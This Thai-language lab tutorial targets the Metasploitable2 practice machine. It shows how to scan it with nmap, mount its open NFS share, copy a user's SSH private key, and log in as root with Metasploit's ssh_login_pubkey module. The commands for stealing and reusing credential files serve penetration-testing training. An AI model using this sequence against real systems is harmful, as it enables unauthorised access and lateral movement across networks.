บทนำ (Overview)
ในบทความนี้นำเสนอการ “Login” ของบริการ “SSH” ซึ่งถ้าเราไม่ทราบรหัสผ่านของบัญชีผู้ใช้ (Username) ที่อยู่ในเครื่องเป้าหมาย เราก็สามารถใช้ “Private Key” ได้ ซึ่งแตกต่างจากวิธีการ “Brute-force” (How to brute force SSH– Metasploitable2) ที่ผลลัพท์คือรหัสผ่านของชื่อบัญชีผู้ใช้นั้น ๆ แต่ทั้งสองวิธีการอาจจะต้องหาช่องโหว่อื่นเข้ามาร่วมด้วย เช่น การ “Brute-force” อาจจะต้องจำเป็นต้องหารายชื่อ “Username” ที่มีอยู่ในเครื่องเป้าหมายให้มากที่สุด และวิธีนี้ “Login” ด้วย “Private Key” จะต้องโขมย “Private Key” มาให้ได้
แล้วทั้งสองวิธีจะไปทำเพื่ออะไร ในเมื่อเรายึดเครื่องนั้น ๆ ได้แล้ว เราจะใช้สมมติฐานที่ว่า ในระบบ Network เดียวกันอาจมีเครื่อง “Server” อื่นอยู่ด้วย ๆ และทั้งระบบอาจจะมีบางเครื่องที่ ใช้ “Username” และ “Password” ร่วมถึง “Private Key” เดียวกัน
ขั้นตอน (Steps)
- ก่อนอื่นเราต้อง “Scan” หา “Port” และ “Version” ที่ใช้ในแต่ละบริการเสียก่อนโดยใช้โปรแกรม “Nmap” ดังนี้
nmap -sV -O 192.168.1.55 -p1-65535
- เราพบ “Port” ของ “NFS” หมายเลข “2049” ให้ทำการ Mount ระบบไฟล์ปลายทาง (สามารถติดตามได้จากบทความ How to mount Network File System (NFS) – Metasploitable2) และ “Copy” ไฟล์ “Private key” มาไว้ที่เครื่องเรา
service rpcbind start mkdir /tmp/mount mount -t nfs 192.168.1.56:/ /tmp/mount cp /tmp/mount/home/msfadmin/.ssh/id_rsa /tmp/mount
- เราอาจมองไม่เห็นโฟลเดอร์ “.ssh” ที่ซ่อนอยู่ในคลิกดังรูป และตัวสอบไฟล์ในแต่ละ Home ของ User
- ในโฟลดอร์ “.ssh” มีไฟล์ดังนี้
เราจะเห็นไฟล์ทั้ง Private Key และ Public Key (.pub) ซึ่งมีความแตกต่างกันในเนื้อหาดังนี้
- เราจะพบไฟล์ “id_rsa” ซึ่งก็คือ “Prvate SSH key” ของบัญชีผู้ใช้ที่ชื่อ “msfadmin” จากนั้นเรียกใช้งาน Metasploit ขึ้นมา
msfconsole
- จากนั้นใช้เรียกใช้งาน “ssh_login_pubkey”
use auxiliary/scanner/ssh/ssh_login_pubkey
- และใช้คำสั่งแสดง “options” ที่เราต้องตั้งค่าดังนี้
show options
- ตั้งค่า “options” ต่าง ๆ ดังนี้
set KEY_PATH /tmp/mount/id_rsa set USERNAME root set RHOSTS 192.168.1.56 run
- เมื่อใช้คำสั่ง “Run” เราจะใช้ “Private key” เพื่อเข้าถึงระบบไฟล์เครื่องเป้าหมาย ให้รอจนกระทั่งเสร็จสิ้น
- จากผลลัพธ์ข้างต้นเราสามารถได้ “Session” ในการเข้าถึงระบบ เราสามารถใช้ “Session” ดังกล่าวได้โดยใช้คำสั่ง
sessions -i 1